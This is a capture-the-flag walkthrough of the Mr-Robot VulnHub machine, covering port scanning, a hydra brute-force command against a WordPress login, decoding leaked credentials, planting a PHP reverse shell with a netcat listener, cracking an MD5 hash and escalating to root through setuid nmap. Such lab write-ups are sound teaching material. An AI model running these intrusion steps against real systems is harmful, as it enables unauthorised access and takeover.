Mr-Robot

It’s time for another CTF writeup, this time Mr-Robot by Jason. I solved this one quite a while ago, but not until now I decided to clean up my walkthrough notes, make a decent writeup and post it here.

From the description:

Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

It seems appropiate, so let’s go for it, shall we?

Web server

First things first, let’s discover and scan the VM in search of exposed services to see what we can play with:

root@kali:~# nmap -A -p1-65535 192.168.56.103

Starting Nmap 7.01 ( https://nmap.org ) at 2016-08-01 19:28 CEST

Nmap scan report for 192.168.56.103
Host is up (0.00022s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:87:27:A8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.19
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.22 ms 192.168.56.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.08 seconds

The web server at 80 and 443 shows the official Mr. Robot promotional website. As it’s pretty big and seems pretty much the same as the real thing, we keep searching for the moment.

Let’s try /robots.txt.

User-agent: *
fsocity.dic
key-1-of-3.txt

Oh, that seems interesting. We can proceed to obtain our first flag:

wget http://192.168.56.103/fsocity.dic -o fsocity.dic
wget http://192.168.56.103/key-1-of-3.txt -o key-1-of-3.txt

OK, great, but what now? Since exploring the web server manually seems like a bit of a pain, we can try with a fuzzer and cross our fingers:

root@kali:~/vulnhub/mr_robot# dirb http://192.168.56.103

This reveals a /0/ directory, which is a wonderful WordPress! Time to run wpscan:

root@kali:~# wpscan -u http://192.168.56.103/0/

It only finds two XSS vulnerabilities which won’t help us to get in…

Meanwhile, our fuzzer, which is still running, finds a nice login page at /wp-login.

After some basic tries (admin/admin, user/user, etc), a somewhat strange error message appears when trying the user elliot (obvious choice given the VM theme):

ERROR: The password you entered for the username elliot is incorrect. Lost your password?

Easy user enumeration, indeed! ;-) But we got our user, and we got a dictionary. Time to wake the Hydra.

hydra -l elliot -P fsocity.dic 192.168.56.103 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:ERROR:H=Cookie\: s_cc=true; s_fid=648F0BAE8E7E6EDD-276B7EA6AFF87532; s_nr=1469962865654; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check"

So we got our fuzzer and our hydra running… What else can we do?

Peeking on some of the dirb results, we find this license page, which says:

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

At this point, this seems just a taunt so we could pretty much ignore it for the moment (after acknowledging, of course, that it’s a quote from Mr. Robot). But as hydra is taking forever and we can’t find much more interesting things in the dirb results, we have no choice but to come back and give a second look. And, oh surprise, it tourns out we hadn’t scrolled down in the page… There’s more text in there:

do you want a password or something?
ZWxsaW90OkVSMjgtMDY1Mgo=

Damn! I have to admit I got trolled by this simple scrolling trick. Shame on me. But w/e, that’s a Base64 encoded string for sure, so we can proceed to decode it:

root@kali:~# echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
elliot:ER28-0652

Are these the precious credentials we are painly trying to find by brute force? After entering them in the WordPress login page, the admin panel appears before our eyes.

Oh, well. If we had started here…

Low-privileged shell

Now we have administrative access, we can go ahead and upload a pretty php shell into any of the plugins that are installed on the site. For the sake of simplicity, let’s just use the good oldphp-reverse-shell that comes with Kali. So after setting the listener, and activating the ‘modified’ plugin, we are all set:

root@kali:~# nc -lvvp 443
listening on [any] 443 ...
192.168.56.103: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 39860
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 20:22:52 up 42 min,  0 users,  load average: 1.65, 1.66, 1.54
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$     

Sweet! Time to work on a more acceptable tty shell:

$ python -c 'import pty; pty.spawn("/bin/bash");'
daemon@linux:/$ 

And let’s start peeking around. A quick look to /etc/passwd file reveals one interesting user:

daemon@linux:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:

So robot is our man (or, you know, robot). The next logical step is to check his/her/its home directory:

daemon@linux:/$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -lah
ls -lah
total 16K
drwxr-xr-x 2 root  root  4.0K Nov 13  2015 .
drwxr-xr-x 3 root  root  4.0K Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

That’s our second key! And also what seems to be a RAW-MD5 encoded password hash. The obvious choice seems running john straight away, but it’s always a good shot to try and google the hash: it works more often than it should. And, indeed, the hash is known to be the following ultra super safe password:

abcdefghijklmnopqrstuvwxyz

SECURITY. But we are OK with it, now we can just su into robot:

daemon@linux:/home/robot$ su robot
su robot

Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ 

Nice, we are near!

Robot

So we look for interesting files for a while. Normally, one would try to find some files with setuid permissions and try to use them to get root. The usual trick to find such files works like a charm:

robot@linux:~$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

Nothing interesting, right? …Right? Because having setuid nmap is completely normal, right? Well, for some reason, my brain decides it’s perfectly fine so I start searching for other ways to reach root. After frustrating myself for a while, I decide to go back over my steps (as you can see this is the second time I overlook a pretty obvious hint, but that’s me), and finally notice that nmap shouldn’t be there.

But even then, why does it matter? How are we going to get root, by scanning the sh*t out of ourselves? Well, a probably better option is to Google a bit, and surprise! Some old versions of nmap have a privesc vulnerability which allow command execution. As @bonsaiviking said in a tweet:

nmap –script <(echo ‘os.execute(“/bin/sh”)’) # setuid nmap privesc. Older version? try nmap –interactive @pentestcli

What do we have to lose?

robot@linux:~$ nmap --interactive
nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(rooot) groups=0(root),1002(robot)

Wow! That worked! As I process how cool that was, half of my brain is already getting the last key and carefully saving it along the others. That means challenge complete!

Big thanks to Jason for working on a VM themed after one of my favorite TV shows, and VulnHub for hosting it. See you in the next one!

Written on July 16, 2017